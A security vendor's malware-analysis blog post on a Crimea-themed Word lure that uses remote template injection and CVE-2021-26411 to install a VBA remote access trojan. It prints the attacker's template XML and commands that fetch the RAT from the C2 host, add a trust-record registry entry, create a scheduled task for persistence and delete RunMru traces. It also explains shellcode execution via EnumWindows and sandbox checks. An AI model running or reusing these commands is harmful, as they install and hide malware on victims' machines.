This blog post was authored by Hossein Jazi.

On July 21, 2021, we identified a suspicious document named “Манифест.docx” (“Manifest.docx”) that downloads and executes two templates: one is macro-enabled and the other is an html object that contains an Internet Explorer exploit.

While both techniques rely on template injection to drop a full-featured Remote Access Trojan, the IE exploit (CVE-2021-26411) previously used by the Lazarus APT is an unusual discovery. The attackers may have wanted to combine a social engineering technique with a known exploit to maximize their chances of infecting targets.

We also uncovered a panel used by the threat actor nicknamed “Ekipa” which seems to be a slang for “equipment”. Victims are tracked and statistics include whether the IE exploit was successful or not.

We could not determine who might be behind this attack based on the techniques alone, but a decoy document displayed to victims may give some clues. It contains a statement from a group associating with Andrey Sergeevich Portyko and opposed to Putin’s policies on the Crimean peninsula.

Remote templates

By looking closer at the remote template embedded in settings.xml.rels we noticed that it contains a full featured VBA Rat that performs the following actions:

  • Collects victim’s info
  • Identifies the AV product running on a victim’s machine
  • Executes shell-codes
  • Deletes files
  • Uploads and downloads files
  • Reads disk and file systems information

The second template is embedded in Document.xml.rels and is loaded into the document. Looking at the loaded code we noticed that it contains an IE Exploit (CVE-2021-26411) that was once used by Lazarus APT to target security researchers working on vulnerability disclosure, as reported by the threat research teams at Google and Microsoft. The shell-code executed using this exploit deploys the same VBA Rat that was loaded using remote template injection.

After loading the remote templates the malicious document loads a decoy document in Russian which is pretty interesting. The decoy document is a statement from a group within Crimea that voices opposition to Russia and specifically Putin’s policies against that peninsula. In the following, you can see this statement in both Russian and English language.

Figure 1: Decoy document

Document Analysis

The malicious document (“Манифест.docx”) contains two templates in settings.xml.rels and document.xml.rels. The remote template that is located in settings.xml.rels downloads a macro weaponized template and loads it into current document. This remote template contains a macro code with full-featured Rat functionality. We provide the analysis of this VBA Rat in the next section.

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/attachedTemplate" Target="HtTpS:\\cloud-documents.com/doc/t.php?action=show_content" TargetMode="External"/></Relationships>

The second template is embedded in document.xml.rels and will be loaded in an object in the main document. This template contains an exploit code for CVE-2021-26411.

Figure 2: Document.xml.rels

This exploit code used by this remote template is almost similar to what has been reported by ENKI security firm.

Figure 3: Exploit code

The shell-code executed by this exploit deploys the same VBA Rat that is also loaded using the remote template embedded in settings.xml.rels. In fact, the actor tries to deploy its VBA Rat using two different methods.
The shell-code is very simple and performs the following actions. The shell-code is written in the AutoHotKey scripting language and all of its actions are executed using SendInput API call.

  • Add VBA Rat as Trusted document to TrustedRecords registry key. By adding this Rat to this registry there won’t be any need to enable the macro when this document will be opened next time.
    reg add \"HKCU\\SOFTWARE\\Microsoft\\Office\\16.0\\Word\\Security\\Trusted Documents\\TrustRecords\" /V https://cloud-documents.com/doc/templates/agent.dotm /t REG_BINARY /d 00000000000000000040230e43000000f9d99c01ffffff7f /f"
  • Get the VBA Rat using: Winword /w https://cloud-documents.com/doc/t.php?document_show=notica
  • Make this VBA Rat persistence by creating a Scheduled task to execute it every minute:
    SCHTASKS /Create /SC MINUTE /MO 1 /TN \"z\" /TR winword.exe ' /q /w %appdata%\Microsoft\Word\Startup\_.dotm
  • Delete RunMru registry value to clear its track records.
    Reg delete HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RunMru \f

VBA Rat analysis (Remote Template)

The remote template contains Document_Open and Document_Close which are activated upon opening and closing the document.

Document_Open:

The Document_open function checks if the active document has the docx extension and if that is the case it shows the hidden content (decoy content). Then, if the active document name is "_.dotm" (this is the case when the machine is already infected with this Rat), it calls "ConnectCP" function. The ConnectCP function is responsible for collecting victim’s info by calling the following functions as well as a value named "cve" in CustomDocumentProperties (this value is being set during the first execution of this document).

After collecting data, it converts it into a json format by using the JsonConvertor function. The collected data later is used by the SCI function to be sent to the server and receive commands.

  • getUUID: Gets UUID by executing "SELECT * FROM Win32_ComputerSystemProduct"
  • getOS: Gets OS type by executing "SELECT * FROM Win32_OperatingSystem"
  • arch: Returns OS architecture
  • getCPU: Gets CPU info by executing "SELECT * FROM Win32_Processor"
  • getGPU: Gets GPU info by executing "SELECT * FROM Win32_VideoController"
  • getRAM: Gets physical memory capacity by executing "SELECT * FROM Win32_PhysicalMemory"
  • getStorage: Gets available hard drive space by executing "Select * from Win32_LogicalDisk Where DriveType = 3"
  • getName: Gets computer name, user name and domain name
  • getRole: Identify if the victim has admin role or not.
Figure 4: GetRole
  • getAV: Gets Anti-Virus product info including the AV name, AV status (enabled or disabled) and AV signature stature (outdated or actual). To get these info it executes "Select * from AntiVirusProduct" to get the list of active Anti Virus products and then calls DisplayName to get the AV name and then identify the AV status and AV signature status using the product state codes. As an example if the product state code is 266240, it means that the AV product is enabled and its signature is updated.
Figure 5: GetAV

At the end, the ConnectCP function calls the StartTimer function to start the task execution procedure (ExecuteTasks function). This function creates a timer that calls the ExecuteTasks function every 10 minutes to execute the tasks received from the server.

Figure 6: Set Timer

If the active document name is not "_.dotm" (The machine has not been infected before with this VBA Rat), it calls a function named InstallFromExp after making sure it is not running within a Sandbox environment and its extension is dotm. The attacker checks the value of the following registry key and if the value is equal to one it won’t execute the InstallFromExp.

HKCU\Software\Microsoft\Office\&Application.Version&\Excel\Security\VBAWarnings

The value one for this registry key means that all untrusted and trusted macros are allowed to run without any notification which usually is a default setting for sandbox environments to run macro embedded documents automatically.

InstallFromExp performs the basic initialization of this Rat which includes the following three actions:

  • Sets the customDocumentProperties named "cve" to “2021-26411”.
  • Makes itself persistence by adding itself to word startup directory with "_.dotm" name: APPDATA\Microsoft\Word\StartUp\_.dotm
  • Cleans up its track records by deleting RunMRU registry key
  • Exits the program

Document_Close

This function also performs the installation of the Rat but by calling a different function: InstallFromMacro. Before calling the installation function it calls the same Sandbox function to make sure it is not running into a sandbox environment and then checks if the path of the attached template includes http to make sure it has an embedded remote template url.

InstallFromMacro performs initialization of the Rat which includes the following three actions:

  • Opens the attached remote template as a document and extract the contents of the comments section of the BuiltInDocumentProperties and spilts it by “|”. If the OS is 32 bit it takes the first part of the the comments and puts it in skd variable and if the OS is 64 bit it takes the second part of the comments section and puts it into skd. The skd variable later is used as a parameter for AddTask function.
  • Sets the customDocumentProperties named “cve” to “MACRO”.
  • Make itself persistence by adding itself to word startup directory with “_.dotm” name: APPDATA\Microsoft\Word\StartUp\_.dotm
  • Calls AddTask function
  • Cleans up its track records by deleting RunMRU registry key
Figure 7: Rat installation

AddTask (Shell-Code execution using EnumWindows)

This function base64 decodes the content from the skd variable that has been set in InstallFromMacro function and executes it using VirtualProtect and EnumWindows. In fact the content of the skd is a small shell-code that has been executed within the memory without being written into disk. The actor has used an interesting API call for ShellCode execution. Instead of using well known API calls for shell code execution which can easily get flagged by AV products such as VirtualAlloc, WriteProcessMemory, and CreateThread the actor has used EnumWindows to execute its shell-code.

The second argument of EnumWindows is an application-defined value to be passed to the callback function. By providing the address of the shell-code from VirtualProtect as second parameter to this function, it can execute the Shell-code.

Figure 8: AddTask

The executed shell-code is very small and it just persists by creating a Scheduled task to execute it every minute:

SCHTASKS /Create /SC MINUTE /MO 1 /TN \"z\" /TR winword.exe ' /q /w %appdata%\Microsoft\Word\Startup\_.dotm

Similar to the shell-code used in IE exploit, this shell-code is also written using AutoHotKey scripting language and it is using SendmessageA and SendInput to simulate keystrokes and perform its actions.

Figure 9: Shell-code API and function calls resolving

ExecuteTasks

This is the main function of this VBA Rat that receives the command from the server in Json format and then parses the json file and executes the command. Each time this function can execute three tasks. This has probably been set to avoid making noise in network activities which might be detected by security products.

Figure 10: Executes tasks

To receive the tasks from the server this function receives one argument which is a function named SCI. SCI function sends the collected data by ConnectCP function in json format in a HTTP POST request and receives the response from the server which includes the tasks that need to be executed in JSON format.

Figure 11: Send info to server and receive commands

Here is the list of commands that can be executed by this Rat. After executing each task the results of task execution will be sent to server.

ReadDisks

It gets each Drive information on the machine using Scripting.FileSystemObject.Drives object. It then creates a JSON object which includes the following key and values for each drive object:

  • IsReady: this value sets to true if the drive is ready
  • Label: gets name of the drive which will be either ShareName or VolumeName. This depends on whether the drive is remote or not
  • Filesystem: gets the file system in use for the drive
  • Freespace: gets the amount of free space for the drive in KB
  • Name: gets the drive letter
  • IsDirectory: This value is always True
Figure 12: Read Disks

ReadFileSystem

This function gets a Folder object corresponding to the folder in a specified path using Scripting.FileSystemObject.GetFolder object and then extracts it name, size, date last modified and puts them into a Json object. It also extracts the same information for all sub-folders and files in that Folder object and adds them to the Json object.

Download File

This function reads a specified file using Adobe.Recordset and sends the data to sever using HTTP POST request.

Figure 13: Download File

Upload File

This module receives a file from the server and writes it into specified file.

Figure 14: Upload File

DeleteFile

This function uses Kill function to delete the specified file or directory.

Terminate

This function terminates the execution of the Rat and exits the application.

Execute

This function executes the received shell-code from the server using the same method used in AddTask function in which it has used VirtualProtect and EnumWindows to execute the shell-code.

Figure 15: Execute Shell-code

ChangeTiming

This function resets the timer that is used to execute tasks every 10 minutes by calling EndTimer to kill the timer and then calling StartTimer to start a new timer.

Figure 16: Send results

Attacker panel

We were able to access to the panel used by the attacker. The panel’s main page includes the list of victims with some information about them including: IP address, date and time, NTLM, Windows version, Windows Architecture, Office version, Office architecture, IE version, Exploited (shows if the IE zero day was successful or not), Loader (shows if the VBA Rat successfully executed or not) and note.

Figure 17: The panel

The panel is written in PHP with a backed SQL database to store data. This install.php initializes the SQL database.

Figure 18: Install.php

stats.php is the file that performs the main actions of this Rat that matches the functionalities we reported here. It also has some more functions including: delete_task, disable_task, enable_task, show_tasks, add_task, format_task and add_user.

Figure 19: Stats.php
Figure 20: Stats.php

Conclusion

In this blog post we have analyzed an attack in which threat actors have used two different methods to infect their victims. Both techniques have been loaded by malicious documents using the template injection technique. The first template contains a url to download a remote template that has an embedded full-featured VBA Rat. This Rat has several different capabilities including downloading, uploading and executing files. The second template is an exploit for CVE-2021-26411 which executes a shell-code to deploy the same VBA Rat. The VBA Rat is not obfuscated but still has used some interesting techniques for shell-code injection.

As the conflict between Russia and Ukraine over Crimea continues, cyber attacks have been increasing as well. The decoy document contains a manifesto that shows a possible motive (Crimea) and target (Russian and pro-Russian individuals) behind this attack. However, it could also have been used as a false flag.

IOCs

Maldocs:
03eb08a930bb464837ede77df6c66651d526bab1560e7e6e0e8466ab23856bac
0661fc4eb09e99ba4d8e28a2d5fae6bb243f6acc0289870f9414f9328721010a

Remote template:
fffe061643271155f29ae015bca89100dec6b4b655fe0580aa8c6aee53f34928

C2 server:
cloud-documents[.]com